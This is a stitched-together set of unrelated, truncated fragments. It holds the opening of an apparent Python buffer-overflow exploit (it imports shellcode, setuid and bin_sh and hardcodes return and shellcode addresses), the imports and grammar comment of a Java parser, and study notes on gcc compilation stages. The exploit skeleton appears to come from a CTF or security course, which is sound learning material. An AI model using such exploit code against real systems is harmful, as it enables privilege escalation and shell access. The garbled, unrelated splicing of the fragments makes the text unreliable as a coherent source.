| from shellcode import shellcode, setuid, bin_sh | |
| import sys | |
| def p32(integer): | |
| return integer.to_bytes(4, byteorder='little').decode('latin-1') | |
| RET_ADDR = 0xffff80cc | |
| SHELLCODE_ADDR = 0xffffd8e0 | |
| def exp(): |
| import java.util.*; | |
| import java.io.*; | |
| import java.lang.*; | |
| /* | |
| * | |
| * program -> prog block | |
| * block -> begin stmtlist end | |
| * stmtlist -> stmt morestmt |
Chapter 1:
The compilation process :
Preprocessing , Compilation , Assembly , Linking
Preprocessing : Expands any #define and #include directives in source file To stop at preprocessing phase : gcc -E -P file.c
Compilation : Preprocessed code is translated into assembly
